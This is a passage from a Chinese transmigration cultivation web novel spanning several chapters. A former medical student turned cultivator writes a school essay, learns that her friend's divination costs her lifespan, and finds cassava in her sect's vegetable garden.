关云铮并不奇怪楚悯如何知道昨日是凌风起帮的忙,她怀疑楚悯在自己这里已经有了一层“无所不知”的滤镜,以后她说什么自己可能都会信。 两人在平时上课的位置上坐下,关云铮看了眼前方,褚先生还没来,于是放心跟楚悯蛐蛐道:“怎么跟你形容好呢。” 楚悯好奇地看着她。 关云铮忽然想到一个合适的形容,状似痛心疾首地说:“好好一个人,可惜长了张嘴。” 楚悯被逗笑,小声笑了好一会儿:“他很凶吗?” 关云铮拍了一下自己的大腿:“何止是很凶啊,昨天刚见到他那会儿他几乎就只会说一句话。” 楚悯笑眯眯地看着她:“什么话?” 关云铮回忆了一下凌风起昨天的样子,一抬下巴,眼神一横:“哼。” 楚悯再次被逗笑:“但我看你好像并不讨厌他。” 关云铮坐在长凳上晃腿:“我上次受伤的药还是他给的呢,就是脾气坏了点。” 真正讨厌的人,她大概会直接喊死老头了,凌风起这样的,要是以后有什么过分的时候,就……喊个臭老头泄愤吧。 楚悯点点头,用手轻轻摸了摸她之前受伤的手腕。 关云铮笑嘻嘻的:“我没事啦,一点也不疼。” 说话间褚先生已经走进了学堂,周围的絮絮低语声停歇,关云铮拍拍楚悯的手,两人转回身子,端坐着等待褚先生开口—— 作者有话说:感谢ww 第28章 在考完大学期间最后一门专业课的晚上, 关云铮绝对想象不到自己会在不久后的将来穿越到一个修仙世界,不然她应该会保持清醒等待这个时刻的到来。这可是里才有的经历,虽然修仙几乎遍地都是, 但要是能清醒地体验到, 那就能见证什么叫做生活高于艺术了。 不过转念一想,她有很大概率是熬夜过度猝死之后才能以灵魂的方式来到这里, 所谓的清醒也就不太可能实现了。 熬夜是不太应该, 但是耳鼻喉、眼科学、内科学、外科学……这些专业课加起来实在是太多了,除了熬夜到两三点也没什么别的办法,更别说熬夜的多数时间她都在做无用功了——越复习越焦虑什么的。 也不知道这些专业课最后能不能过呢,虽然她人都挂了也不在乎课挂不挂的就是了。 地狱笑话,关云铮心想。 为什么忽然又想起穿越的事,主要是她没想到自己都大四的年纪了, 居然还需要做课后作业,毕竟正常来说她大四后唯一需要动手写的就只剩下病历了。 说到病历, 手抄大病历就是对医学生的酷刑!酷刑!明明可以打印的东西为什么要手写啊啊啊啊啊,而且床前询问病人的时候是真的很疲惫, 你问ta有没有高血压糖尿病等基础疾病, ta说没有,你问ta有没有常用药,ta说在吃降压药, 见了鬼了, 好像半分钟前说自己没有基础疾病的不是ta一样。 好不容易问完了,回去一问带教,诶,又漏问题了,要么是现病史的细节没问清楚, 要么是个人史的条目有遗漏,于是只好跑回去把病人重新叫起来,不出意外地被病人抱怨或者挖苦,质问你到底是不是医生,吐槽你实习生就是不靠谱。 就问这不是酷刑是什么。关云铮虽然已经不学医了,也不用再实习,但见习时已经经历过几回,因此还是对这件事充满了怨念。 ——眼下的课后作业虽然不至于到酷刑的地步,但对于她这个修仙小白来说也没好到哪儿去。 因为褚先生居然要求他们写一篇关于自己如何引气入体的文章! 关云铮趴在桌上绝望地想,要是她真能明白自己是怎么引气入体的倒好了,对她来说无非是跟心魔引吵了一架,两个人,哦不是,心魔引不算人,反正对骂了一会儿,醒来就引气入体了,谁知道到底怎么做到的啊,比闻越引气入体的经历还离谱。 闻越还能说是求生欲激发的,她这样的算什么,想要骂赢的好胜心吗? 关云铮脸都皱起来了,这种理由交上去估计会不及格吧。哦修仙世界没有不及格。 这个时候她又觉得没有引气入体未尝不是一件好事了,因为没能引气入体的同窗只需要继续尝试就好了,不用写文章。 关云铮泄气似的扑到桌上,脑袋抵上胳膊,发出沉闷的一声。 动静还挺大,吓得坐在旁边的楚悯立刻伸手:“疼吗?” 关云铮抬起头,神情恍惚:“不疼,我就是脑壳硬。” 楚悯被她逗笑,摸摸她前额:“褚先生不是留了时间给我们写吗,不着急。” 关云铮叹了口气,觉得这也不是自己不着急了就能解决的问题,毕竟她对自己是怎么引气入体这一基本事实毫无头绪,要论证原因更是无从下手,感觉时间再充裕都是白搭。 有点怀念ai了,在她一头雾水时还能给她复制粘贴的可能,挽救她的结课论文——虽然绝大多数时候她都对不规范使用ai抄袭之类的事深恶痛绝——但ai在应付作业这个领域是毋庸置疑的好用。 关云铮又叹了口气,抬起头来环视周围。 还没学会引气入体的学生已经去外面找地方继续尝试了,学堂里只有不到一半的人,三三两两地挨在一起,低声商量着文章该怎么写。 她又趴回桌面,从胳膊上抬起视线看向一旁正研墨的楚悯:“小悯,你是怎么引气入体的?” 楚悯把墨锭放到一边,挑了一支笔:“我也不知道,意识到的时候我正要用龟甲占卜。” 关云铮的注意力瞬间就被楚悯的后半句话带跑偏了,她很兴奋地坐起来:“龟甲占卜好玩吗?”说完后意识到自己的态度可能有点不庄重,她又收敛笑容找补了一句,“有意思不?” 嗯……也没庄重到哪儿去。 楚悯拿笔蘸了墨:“初次接触可能还有几分意思,次数多了就乏味了。” 关云铮思考片刻:“为何?虽说不同的裂纹代表不同的‘兆’这一点是固定的,但每次烧灼不会是完全一致的吧,按理来说应该不会很乏味?” 楚悯侧脸看她:“你以前在家中看的书这般杂吗,怎么连龟甲占卜都知道?” 除了专业书什么书都看的人是这样的,嘿。 楚悯在腰间暗袋里找了找,摸出一块龟甲来。 关云铮看她又手法娴熟地摸出一个火折子,把龟甲架在那一芯火苗上。 讲道理,她以前总觉得跟占卜相关的场合需要拿出十分庄重的态度,不说要沐浴焚香至少也得洗净双手什么的,但昨天任嵩华什么都没准备,直接就扶乩了,现在楚悯更是随手就开始烧龟甲,这难道是强者的自信? 善书者不择器什么的? 菜菜不懂,菜菜只知道在一边默默看着。 不过修仙的人也会用火折子吗?还以为只有江湖人士才会用呢。 关云铮这样想着,把心里的疑问说了出来。 楚悯正好把火折子吹灭收回袖子:“我也能自己点火,就是不太容易熄灭。” 关云铮试探着:“点一个看看呢?” 楚悯先把龟甲递给她,然后伸出右手。 她低声念了一句关云铮听不清楚的诀,随即手掌周边忽而一暗,手心中陡然出现一丛火苗。 关云铮被火焰的颜色吓了一跳:“不烫吗?” 那手心里的火焰几乎是白色的,掺杂了一点很浅的蓝。 这不得两千度啊。 楚悯眨了眨眼:“这样召来的火跟常理的不太一样,不烫。” 真的假的。关云铮狐疑地凑近,感受了一会儿后确实没有被烤着脸的感觉,放心地点点头:“所以……为何难以熄灭?” 楚悯笑着轻轻叹了口气:“必须要为人所用后才可以熄灭。” 关云铮默默把龟甲递过去:“那不然……再烧一遍?” **** 为了熄灭楚悯手心的火,最后龟甲被烧得……差不多面目全非吧。 楚悯指着烧出来的裂纹跟关云铮解释:“就像这样。明明每次烧灼用的时间和火候都不尽相同,但龟甲烧出来的裂纹左不过那几种,久而久之,龟甲占卜就变得十分乏味了。” 关云铮看了半天没看出什么门道,于是追问道:“总共几种?” 楚悯想了想,拿起笔在铺开的纸上写了几笔,报出一个数字。 关云铮:。 本来还觉得要是龟甲的问题,就换一块龟甲看看能否烧出别的裂纹,要是龟甲没问题,那占卜就是真的无聊。 ——结果你跟我说有几百种??? 关云铮用一种很惊恐的眼神看着楚悯。 楚悯不太好意思地笑了笑:“自打我引气入体,几乎每日都要拿龟甲卜上几卦,兆看得多了自然记住了。” 关云铮一阵无言,内心尖叫着,决定贷款起诉自己的猪脑。 内外科她也每天都翻开啊,怎么没见她记住一点东西?神经病学学得她发神经,broca失语和Wernicke失语更是傻傻分不清。专业课划了重点、给了复习资料的,期末月那几天复习资料都快给她翻烂了,题库更是在考前突击了好几套,也没见她记住一道题。 好吧可能是她看东西根本没过脑子。 更想起诉自己的脑子了。 算了。死都死了,不管了。关云铮彻底摆烂,十分豁达地拿过墨锭,气势汹汹地开始研墨。 “想好怎么写了吗?”楚悯看她突然斗志十足的模样,好奇地问道。 关云铮咔咔研墨:“没有,先写个文题。” 与高中数学大题不会就写一个端正的“解”,大学专业课大题不会就写一个端正的“答”,是同一个道理。 我虽然记性差,但我态度好啊! 楚悯被逗笑:“嗯,文题是很重要。” 关云铮成功把自己折腾累了,放下墨锭,有气无力地从笔架上挑了一支笔:“褚先生有没有要求篇幅来着?” 楚悯最后看了几眼龟甲的裂纹,收起龟甲:“未曾,但应当写得详尽些比较好?” 关云铮长长地叹了口气,开始回忆高中都是怎么写议论文的。 是什么?为什么?怎么做? 挺好,就这个思路吧,写引气入体正好。 虽然她高中议论文常年48/60,从没上过50分,但也还算凑合吧,只能祈祷她的同窗们不都是文豪了,能稍微给她留点面子。 “气者,形之本。” 嗯……虽然还挺像那么回事的,但为什么写得越发心虚呢…… 关云铮一边心虚一边继续写道:“灵气,万物本源,可为人所用。” 楚悯在一边写得专心,她也不好意思打扰,只好闷头编,不是,写下去了。 大不了重写,反正还没说什么时候交呢。 **** 关云铮终于写完文章,发觉上午的课还没结束,楚悯在一边也写得差不多了,于是吹了吹纸面上没干的墨迹,悄悄凑到楚悯旁边:“小悯,你能帮我看看我的文章吗?” 楚悯把自己的纸笔收到一边,凑过来:“我看看。” 关云铮乖乖在旁边坐着没出声,悄悄观察楚悯脸上的表情。 她发现楚悯的速度很快,视线几乎没怎么停顿过,还没等她窥探出一丝她文章水平如何的端倪,楚悯就从纸面上抬起视线:“你觉得是上次下山时受伤导致的发热,促使了引气入体?” 嗯……其实是她瞎编的。 但从化学反应有时需要加热来看,她这个理论也不是没有一定的可行性。假如引气入体是熵增反应,△S>0,那高温下不管△H是否大于0,这个反应都是自发进行的嘛。 发烧了对人体来说也算是一种高温?连免疫系统都杀疯了呢。 总不能引气入体不是熵增反应吧?还没学会如何控制气的话,体内的混乱度不就是增加的吗? 虽然很无厘头但写的时候她说服了她自己。嗯。 关云铮很没底地小声问:“这个说法完全没有依据是吗?” 楚悯摇摇头:“我只是觉得很新鲜,修道之事本就千人千面,你大师兄还是除无情道外最能打的苍生道弟子呢,这也跟大家习以为常的并不符合呀。” 喔,大师兄居然这么厉害吗? 关云铮差点又被岔开注意力,悬崖勒马道:“那,这文章有什么需要改动的吗?” 楚悯吹了吹仍未干透的墨迹:“我觉得很好,你要实在不放心,带回去问问你师父吗?” 关云铮想了想她那神龙见首不见尾、靠谱水平还酷似六脉神剑时有时无的师父,一脸沉重地说:“我下午带给掌门看吧。” 想着刚才楚悯说的话,沉重的神色并没有在她脸上停留多久:“大师兄和无情道打过吗?哪个无情道?” 上午的课结束了,楚悯收拾好文章卷起来,跟关云铮一起走出学堂:“应当就是任嵩华。” 诶? 关云铮兴致勃勃地追问:“没打赢吗?” 楚悯思索片刻:“你大师兄闭关之前没打赢,现在他出关了,不能确定。” 关云铮眼睛都亮了,看上去很想立马跑回师门撺掇大师兄和任师姐打一架,但还是忍住了,笑眯眯地挽住楚悯胳膊:“走吧,去我师门吃饭!” **** 闻越给楚悯盛了碗饭:“够吗?” 楚悯伸手接过,眉眼弯弯:“够啦,多谢闻师兄。” 闻越不甚在意地摆手:“你大哥不在,一个人在这么远的地方,应该照顾你的。”他又盛了一碗汤端过来,“再说了,云崽不怎么跟我客气,你也不用跟我客气。” 关云铮端着两碟菜靠近他们身后,故意把语气压得阴恻恻的:“说我什么坏话呢你们?” 闻越头也不回:“说你今早话没说完就跑了,让我一上午抓心挠肝的。” 关云铮绕回自己位置上坐下,把手上的菜放下,往楚悯面前推了点:“这不是回来告诉你了。” 闻越夹了一筷子菜:“跟今早的甘薯有关?” 关云铮本来都要低头吃饭了,闻言震惊抬头,语气十分不可置信:“你是谁,你是我师兄吗,怎么这么聪明?” 她开玩笑的意味太明显,闻越不觉得生气反而被逗笑了,刚想说点什么发现旁边的楚悯也被逗笑了,索性一起又笑了一会儿。 连映进来时看见的就是这么一幅景象:闻越和楚悯在对面笑个不停,关云铮在这边忍了又忍还是没忍住,最后还是笑出声了。 “说什么了这么有趣?”连映在桌边坐下。 关云铮艰难收住笑容,跟连映复述了一遍。 几秒后笑声出现人传人现象。 几人终于笑够了,关云铮悄悄摸了摸自己笑痛的肚皮,解释道:“早晨李厨不是煮的甘薯粥吗?我就想试试洗甘薯淀粉,做点点心吃。” “甘薯淀粉?”连映疑惑。 关云铮拿面粉来类比:“面粉不是可以拿来做饼吗,甘薯淀粉也可以,但是做出来的饼更软,而且只需要锅里煎一下就好。” 闻越一听有好吃的就两眼放光:“什么样的饼?” 关云铮想了想:“鸡蛋饼?” 这下疑惑的成了楚悯:“鸡蛋饼?” 关云铮点点头:“晚上我们去菜地里看看,要是甘薯还多的话,我就试试洗甘薯淀粉。”说完后她又找补似的来了句,“反正这甘薯也不甜,不如洗成粉吧。” 闻越跃跃欲试的:“下午是哪位先生的课?能提早回来吗?” 话音刚落,荣获师姐筷子尾敲头。 “哈哈哈哈哈哈哈……”—— 作者有话说:感谢ww 第29章 章存舒今日晚到饭堂, 徒弟们都已吃完散场了,除了小徒弟去上学,其他都有自己的事要做, 偌大师门只剩他一个无所事事, 他脸上却没什么偷得浮生半日闲的喜色。 李演不在,锅碗瓢盆都被他利落地收拾干净, 有一些仍挂着水珠, 洗净的刀依旧扎在砧板里。 饭堂空无一人,唯有灶膛尚存几分余温。 他在最靠近门的一张桌边坐下,还没等做些什么,就听见灶膛里传来细微的“噼啪”一声。 章存舒坐着没动,脸上难得露出一丝不耐烦的神色,微不可见地皱了皱眉。 片刻后, 像是催促一般,灶膛里又发出一声类似火星爆燃的动静, 他才站起来,走到灶膛前。 火早就熄了, 炭灰里只剩一点毫不起眼的红, 被他靠近时带来的风一扑,几乎要完全熄灭了。 像是感应到有人靠近,灶膛里又是“噼啪”一声, 随即一张纸卷着灰烬从灶膛中腾空而起, 看架势是想糊在章存舒脸上。 他偏了偏头,伸手截住纸,抖了抖上面沾的炉灰,低头看了一眼。 这张纸只有两指左右的宽度,长度不超过一掌, 纸的材质很好,厚度和手感都是上乘的,只是边缘很毛糙,似乎是随手撕下来的。上面的字迹也龙飞凤舞,落款是个着墨不多的“苍”字,像是懒得再添墨,随便勾描的。 章存舒垂眼看完,没什么表情,又把纸丢回灶膛,随即一甩手,点燃那点尚未完全熄灭的火苗。 火苗蹿上来,舔尽了纸的轮廓。 他好像不打算继续做刚才在桌边坐下时要做的事了,径直走向门,离开了。只是离开时脸上不耐烦的神情已然褪去,变得和以往没什么区别,又是带着些笑意的了。 **** 关云铮感觉自己有点醉饭,都快走到术法课场地了,才想起原本打算带过来给步雁山看的文章落在饭堂了。 楚悯注意到她脚步停顿,侧脸看来:“怎么了?又是发愁又是笑的。” 关云铮还没意识到自己的面部表情居然这么精彩,闻言也没不好意思,只是笑嘻嘻地说:“我想起文章落在饭堂了,不过师姐应该会帮我收起来的,我也可以喊掌门去师门吃饭,那时候再给他看。” 楚悯点点头,关云铮又想起什么,问她:“小悯你要不要来我师门住?” 楚悯愣了一下,似乎没料到她会突然这么问:“我” 关云铮认真地看着她:“你如果愿意的话,就搬来和我一起住呗。”她佯装伤感地叹了口气,“师门只有我一个人每天上学,真的好可怜啊。” 楚悯还没来得及说愿不愿意,先被她的语气逗笑了,笑着逗她:“你是本就不喜欢上学,还是因为发现褚先生的课要写文章才不喜欢呢?” 关云铮装不下去了,一脸的生无可恋,谁知道修仙了居然要写论文啊!她学医的时候都没写过什么论文啊! 楚悯牵住她的手,小幅度地晃了晃:“你怕我被其他人欺负吗?” 术法课场地近在眼前,步雁山却还不见踪影。两人找了地方坐下,关云铮如实回答:“倒也不担心,我觉得他们欺负不了你。” 认识关云铮之后楚悯每天都得被逗笑几次,闻言没忍住又笑了:“这又是如何看出来的?” 归墟境内的恒温法阵让她们能够在术法课上席地而坐也不觉得冷,关云铮把两手撑在身后,看着空中那一大团在阳光下翻滚着的云:“你很厉害呀,再者说,我觉得归墟也很安全。” 楚悯摇摇头:“我除了卜算,其他方面都表现得资质平平,你应该多看看自己做成的事,这么些天就能引气入体,获得一把不同寻常的武器,还能成功在剑上飞行一段距离,你才是真的很厉害呀。” 关云铮不以为然地摇头:“要不是那个坏脾气老头,我早就摔得四脚朝天了,武器也是师父从剑冢里拿出来给我的,我这几天都没用过。” 楚悯脸上浮现出一种很不符合她这个年纪的温和神情,笑着看向关云铮。 她没有开口,关云铮却福至心灵般地明白了她想说什么,坐直了感慨:“人好像总是对自己的境遇和成就感到不满足, 而在别人眼里我们已经做得很好了。” 楚悯动作幅度很大地点了点头,刻意把嗓音变得很低沉:“嗯,孺子可教。” 说完两人对视一眼,楚悯先没忍住,笑出声来。 步雁山显然迟到了,但这一刻关云铮完全不打算去思考他迟到的缘由。 头顶的那团云已经飘走了,她看向湛蓝的天空。 天气真好啊。 **** 关云铮还没等到第二团云飘到头顶,步雁山姗姗来迟,先对一众坐在地上仰起脸看他的学生表示了歉意,然后才说了这堂课的内容。 “若按仙盟的意思,今日我们要继续学新的术法,但我和另外两位先生商讨过后,决定让你们来决定,是要学新的术法,还是温习过去几天学过的御物术。” 步雁山没解释他迟到的原因,但这话听起来像是他刚才是去和另外两位先生讨论了。关云铮皱皱眉,下意识觉得应该不是这么回事,侧过脸看向楚悯,正好对上视线。 关云铮凑过去咬耳朵:“你觉得掌门刚才来迟是干什么去了?” 楚悯看她样子,下意识要抬手,结果关云铮又摇摇头坐回去了:“我就是好奇,小悯你别算。” 楚悯有点不解地看她:“不是想知道吗?” 关云铮悄悄看一眼站在前排和几个同窗说话的步雁山,又凑到楚悯旁边:“我就是觉得,经常这样的话,会不会有什么,”她思考了一下措辞,“代价?” 虽然她之前也这么说过,但是当时楚悯没有回答,那之后她一直觉得这种几乎无所不知的卜算,或者称得上是洞察,太过逆天了,这种事不付出代价几乎是不可能的。 它跟从书本或者其他的经历中汲取知识有着本质的不同,这几乎是凭空得到的,诚然,这个过程付出了一点卜算的精力,但精力可以说是获取知识的道路上最微不足道的部分了,难道说只要付出精力就能接近这样的无所不知吗? 关云铮不敢相信,于是再度向楚悯发问:“小悯,你算这些,真的不会有代价吗?” 在她那张和楚悯年纪相仿的脸上,露出了一点更成熟时才会有的严肃与凝重来。 楚悯依旧没有立刻回答,但过了短短的几息,她轻轻地叹了口气,看着关云铮回答道:“等这堂课结束,我就告诉你。” **** 最后多数人选择了温习旧术法,大家各自扎堆找东西练习御物术,有几个还去拿了木剑来练习御剑,步雁山在人群中走动,时不时给需要帮助的学生提出一点建议与指导。 关云铮总觉得“下课再告诉你”这种许诺本身就意味着这个话题的沉重性,复习御物术的时候走神了好几次,手边要掌控的东西时而到处乱飞,时而泼她一身。 当然了,因为御物术包括御水,所以她走神的次数越多,身上的衣服被泼得越湿。 楚悯叹了口气,念了个净衣咒,在关云铮面前坐下了。 关云铮回过神来,眼巴巴地看着她。 大概是原身这张脸做出可怜巴巴的表情时格外有杀伤力吧,楚悯被她看着,没一会儿就缴械投降:“是要付出一些代价。” 关云铮御水也不练了,警觉道:“一些?” 楚悯又叹了口气,对她的敏锐感到头痛:“起初并没有什么异常,我只是跟随长老的指引,开始学习卜算,从日常的龟甲占卜开始,扶乩这些也有涉猎,后来” 关云铮无端紧张,感觉喉咙发干,用力吞咽了一下才说出话来:“后来?” 楚悯大概是很少和别人说起这件事,看上去有点不自在,垂眼操控起身侧的水流:“后来长老发现,我的寿命受到了影响。” 话音落下的这一瞬间,关云铮感觉自己好像突然失声了,她听见自己梦呓般地轻声说道:“受影响是什么意思?” 楚悯仍然看着自己手心打着转的水流:“我或许会长久地维持现在这副模样,不会再长大,也可能减损了一些阳寿。”她终于松开手,任水流顺着掌心的生命线流走,从指缝间回到来处,“算出这件事的长老,是我父亲。” 关云铮对上她的视线,张口欲言时才发觉自己方才无意识地牙关紧咬。 楚悯脸上又是那种洞悉后温和的笑容:“不用觉得愧疚,如果像兄长那样总是无时无刻不在嘘寒问暖,我也会觉得不自在的。” 她像是为了让关云铮不要那么有负罪感,又像是真的卸下了什么心头重担,学着术法课开始前关云铮的样子,把双手往身后一撑,抬头看向天空。 “你看这朵云。” 关云铮叹了口气,配合地抬起头,和楚悯看向同一朵云。 **** 晚间两人一起回了苍生道饭堂。 章存舒正跟李演在灶边说话,连映和江却坐在一起,闻越在他们对面撑着下巴发呆,看见关云铮和楚悯从门外进来眼睛都亮了,连忙扭头对着章存舒喊:“师父,云崽和小悯回来了!” 一时间五双眼睛都看过来,关云铮骤然被这么多人看着,下意识后退一步:“难道是在等我吗?” 这么热情搞得她怪害怕的。 连映笑眯眯的:“师父有事要跟你说。” 啥事?她上课说悄悄话被师父知道了? 但是师姐笑眯眯的,闻越也在那乐,甚至江却的表情看着都怪温和的。她悄悄观察章存舒脸色,觉得应该没有跟她算账的意思,放心地和楚悯一起走到桌边坐下。 不是要算账,那还能是什么事?教学计划有改动?那也应该是三位先生来说才对? 关云铮猜测着,看着章存舒走到桌边坐下。 章存舒神色如常,看起来既靠谱又不靠谱的:“其实是想问问小悯,你愿不愿意来我们门派住?” 楚悯愣了一下,关云铮也没料到,下意识看向楚悯。 章存舒把李演端过来的饭菜摆到桌子中央:“你独自在外,若是住在我们门派,得到的照料要比在归墟给你们安排的地方多一些,”章存舒难得这么诚恳,“自然,我也有私心,云崽初入仙门,恐怕有许多不适应,你和她似乎相处不错,每日一同上学也不会孤单。” 关云铮怀疑章存舒在自己身上安窃听器了,目光在他和楚悯身上来回打转,但没打算开口打断他们的对话。 楚悯除了刚才听到问题时愣了一下之外,章存舒说话的时候都是笑着的:“我当然愿意,多谢章先生。” 闻越还没等她话音落地就振臂高呼:“好耶!” 一桌人顿时看向他。 章存舒看了眼关云铮,又看向闻越:“好耶?” 闻越也看关云铮:“云崽教的。” 关云铮看天花板看地面看菜碟看饭碗。 章存舒没在这个话题上深究:“以后你们俩有什么想吃的记得提前告诉李演。” 关云铮和楚悯一起乖巧点头。 闻越眼巴巴的:“师父,那我呢?” 章存舒看他一眼:“你差师门这两口吃的?你能少溜下山几次我都谢天谢地了。” 关云铮很想笑,只好低下头压住自己疯狂上扬的嘴角。 一桌人热闹开饭,闻越想起甘薯的事,凑到关云铮耳边说悄悄话。 关云铮边听边点头,刚想回答就被章存舒点名,一激灵抬起头,对上她师父的视线。 “说什么呢,两个人脑袋都快埋桌底下了。”章存舒颇觉好笑地问道。 关云铮思考一秒,觉得跟大家说说也未尝不可:“我和三师兄打算待会儿饭后去菜地看看。” 章存舒扬眉:“菜地?” 关云铮点头:“早上喝粥的时候听李厨说粥里放了甘薯,”她下意识往灶台那边看了眼,发现李演不在,放心地继续说,“但是一点也不甜,所以打算去菜地看看,能不能改善一下。” 之前关云铮做菜的时候江却还没出关,闻言难得有些状况外地问:“云铮还会种菜?” 关云铮连忙摇头:“我不会,我只是想看看土壤质地什么的。” 江却有点迟疑:“土壤质地?” 好吧听起来真的像很会的样子,但其实只是因为她碰巧知道种红薯的讲究而已。问就是21世纪的时候什么都爱看唯独不爱看专业书。 关云铮放弃为自己辩解:“甘薯粉可以用来做吃的,我打算待会儿去菜地看看,不过洗甘薯粉可能需要大家帮忙。” 章存舒颇为感兴趣的样子:“甘薯粉?能做什么吃的?” 一开口就是老吃货了。 关云铮不想在还没做出来之前提高太多预期,因此坦白道:“还不一定能做出来呢,师父你先别期待。” 章存舒被逗笑了,配合地答应下来:“好,那我先不期待。”—— 作者有话说:依旧不是很懂jj的排版……这章开始没有存稿了,直接卡了两周,真是罪恶。 感谢ww 第30章 饭吃到一半, 关云铮想起自己经过一下午又差点把文章的事情忘了,来不及在心里埋汰自己,忙看向连映问道:“师姐, 我落在这一卷文章, 你看到了吗?” 连映点头,一如既往的靠谱:“我收起来了。” 关云铮也点头, 刚想说待会儿去拿, 章存舒就在一边开口了:“文章我看过了,写得不错。” 这位就靠谱得有点不同寻常了。 其实单纯谈论性格的话,师父要比掌门风趣幽默很多,掌门虽然很温和却不太会跟人说笑,但可能是出于一种“写得不好就不想让师父知道”的心理,又或者她始终觉得师父有时候的眼神太过洞察一切, 所以不是很想把师父当做她的首位选择。 毕竟被人看穿总归是种不太好的体验。 而且师父在门中的时间似乎要比掌门少一些,她就下意识想找掌门帮忙看了。 关云铮在脑内给自己找完理由, 正打算道谢,章存舒又补上一句:“你掌门师叔也看过了。” 就知道会被看穿……她忽然想到步雁山今天上术法课前的迟到, 有点困惑地看向章存舒:“今日术法课前吗?” 章存舒没否认, 点了点头,但很快又提起先前的话题:“小悯打算什么时候搬过来?” 关云铮总觉得章存舒在避而不谈什么,但是没再纠结, 转而把注意力放在楚悯身上了。 章存舒已经吃完了, 今晚的菜貌似也不怎么合他胃口,吃的并不多:“我看过你们的课业安排,明日午后似乎有空?” 楚悯回忆了短暂的一瞬,点头肯定。 章存舒此刻完全是靠谱长辈:“那明日让小映帮你收拾?” 楚悯下意识看向连映,对上连映带着笑意的目光:“好, 多谢先生和师姐。” **** 一顿饭吃完,关云铮正打算拉着闻越直奔菜地,被落在后面的章存舒叫住:“云崽,回来了记得来我这拿你的文章。” 关云铮回头应了声“好”,拉着闻越继续宣传甘薯粉的妙处。 楚悯和连映走在中间聊天,江却走在最后。 “甘薯粉和面粉有点像,但是做成吃食可能会更软一些,如果能成功,我会用甘薯粉做蛋皮。”关云铮边走边说道。 闻越现在对关云铮的厨艺十分信任,闻言点点头,问道:“不过蛋皮是什么?” 关云铮思考了一下记忆中蛋皮的制作过程,最终还是打算先不提高太多期待:“先看看能不能成功洗出甘薯粉吧。” 说话间五人抵达苍生道的小菜园,关云铮环视一圈,看见记忆中非常熟悉的番薯藤,走过去蹲下。 闻越跟着蹲下了:“需要我做什么?” 关云铮还在观察面前的是不是自己在找的东西,没顾上回答,只心不在焉地“嗯”了一声。 闻越颇觉好笑:“你嗯什么,我问的问题能用嗯来回答吗?” 关云铮这才回过神,有点不好意思地笑了一下,转而说起自己观察这一会儿后得出的结论:“我好像知道为什么今早粥里的甘薯不甜了。” 江却在一旁也蹲下了:“为何?” 关云铮差点打了个磕巴,莫名觉得大师兄这一蹲很有压迫感,顿了一下才指着面前的番薯藤说:“我记得甘薯成熟时茎叶会枯萎,这些分明还很茂盛。” 连映坐在一边的矮墙上:“那就是,没完全成熟?” 关云铮点点头,扶着膝盖用蹲着的姿势缓慢挪动到另一边:“这里的倒是看着有些枯萎了……”她话还没说完,发现土里冒出点颜色,下意识上手拔了一下。 没拔动。 关云铮立马转头看向在一边蹲着的闻越:“师兄,该你出场了!” 闻越看了一眼从土里冒出个尖的甘薯,兴致勃勃地挪过来:“我来!” 没拔动。 闻越皱眉,转头看江却:“大师兄我怀疑这甘薯成精了。” 江却和闻越对视了一会儿。 关云铮在旁边悄悄观察,然后看见江却没绷住,笑出声了。 “我来吧。” 关云铮站起身,拉着闻越到一边,感觉这块番薯是某种性质的考验,而她和闻越是没通过考验的两个“差生”,正在观摩“好学生”江却如何解决难题。 江却好像只轻轻拔了一下,那块番薯就破土而出,露出了真容。 等会儿。 关云铮凑上前:“这好像不是甘薯……” 闻越跟着凑上前:“不是?那是什么?” 关云铮皱起眉:“这好像是……木薯啊?” 闻越还没反应过来木薯是什么,关云铮已经雀跃着一拍他的肩膀:“太好了我们有珍珠奶茶喝了!” 虽然李演把没完全成熟的甘薯放进粥里,但他种出了木薯啊! 就这样因为珍珠奶茶原谅全世界。 关云铮菜地一行收获颇丰,把原本脑子里“怎么才能种出更甜番薯”的一系列想法清空,和师兄师姐们往回走了。 江却手里还拿着那块体积相当可观的木薯,连映走在他身边打量那块东西,关云铮和闻越走在前面,语速飞快地跟他宣传“珍珠”到底是个什么玩意儿。 “此珍珠非彼珍珠,它是一种很像珍珠的,嗯,点心?嚼起来韧性比较强,放进上次我煮的那种奶茶里,味道更是美妙。”关云铮说着说着简直开心得要跳起来了,忍不住又跑到江却面前看了会儿那块木薯。 这么大块,就算洗成粉应该也能做出一份珍珠来吧? 连映笑着问她:“要今天做吗?” 关云铮倒不怎么着急,闻言摇摇头:“明日午后吧,正好让小悯也尝尝。” **** 关云铮发现李演比章存舒还行踪不定。平时晚饭前后一般都能在饭堂找到他,她回去后却发现饭堂空无一人,只好把水牛奶的事暂时搁置,转头去章存舒那里拿回自己的文章。 江却把木薯放下,跟在连映身后去舀水洗手。 闻越不想去找师父,也不打算在这多待,每次连映和江却待在一起他就觉得自己无端碍眼,于是哼着某次下山时听到的调子回自己的小院去了。 江却和连映在水缸边低声说着话。 “我以为师父不会再收徒弟了。”江却垂眼看着连映用水瓢把水舀起来。 连映慢慢把水浇在他沾了泥的掌心:“我也以为,不过云崽能来师门,大家都挺高兴的。” 江却把掌心的泥搓洗干净:“嗯,小越肯定最高兴,他们年纪相差不多。” 连映把水瓢放回原位:“我们的年纪难道和云崽相差许多吗?” 江却被她逗笑,跟着她一起往外走:“师父说过为何选中云铮吗?” 连映摇头:“没告诉我,大概有自己的考量吧,也没准只是云崽合眼缘。” 江却点点头,没再说话,两人一路往院子里走。 “现在只有你一个人叫云崽云铮,这可不行。”连映忽然来了这么一句。 江却下意识“嗯?”了一声,随即解释:“云铮才刚见到我,而且我看着应当比较凶?” 连映忍俊不禁:“你知道自己看着凶,还不收着点?” 江却有点无奈:“云铮她不介意我用云崽叫她的话,我会叫的。” 说话间两人已经走到了连映的小院,她一边往自己房中走一边笑着说:“那你自己去问吧,我可不管。” **** 章存舒的院子里静悄悄的,关云铮从连廊走下来,没看到人,但看见了放在石桌上的那卷文章。 关云铮正打算走过去,脚边什么东西飞速窜过,卷起她衣摆片刻,吓了她一跳。 章存舒的声音在背后响起:“那是栖霜。” 关云铮回过头,心脏还在胸腔里咚咚作响:“栖霜?” 刚才只来得及低头看了短促的一眼,似乎确实像霜一样白。 章存舒踏上通往院内的石板路,走向石桌:“你师伯养的貂。” 貂窜这么快的吗?比记忆里偷了吃的狼狈逃窜的老鼠还快。 “它怎么会在这?”关云铮跟在章存舒身后。 “来偷吃的。”章存舒的语气很习以为常,在桌边坐下后把文章递给她。 看来凌风起那儿也没有饭堂,所以到底为什么就她师父这么馋。馋也就算了,为什么找来的厨子不像厨子,更像是个武者。 她一边腹诽,一边接过纸卷:“师父,你有话要跟我说吗?” 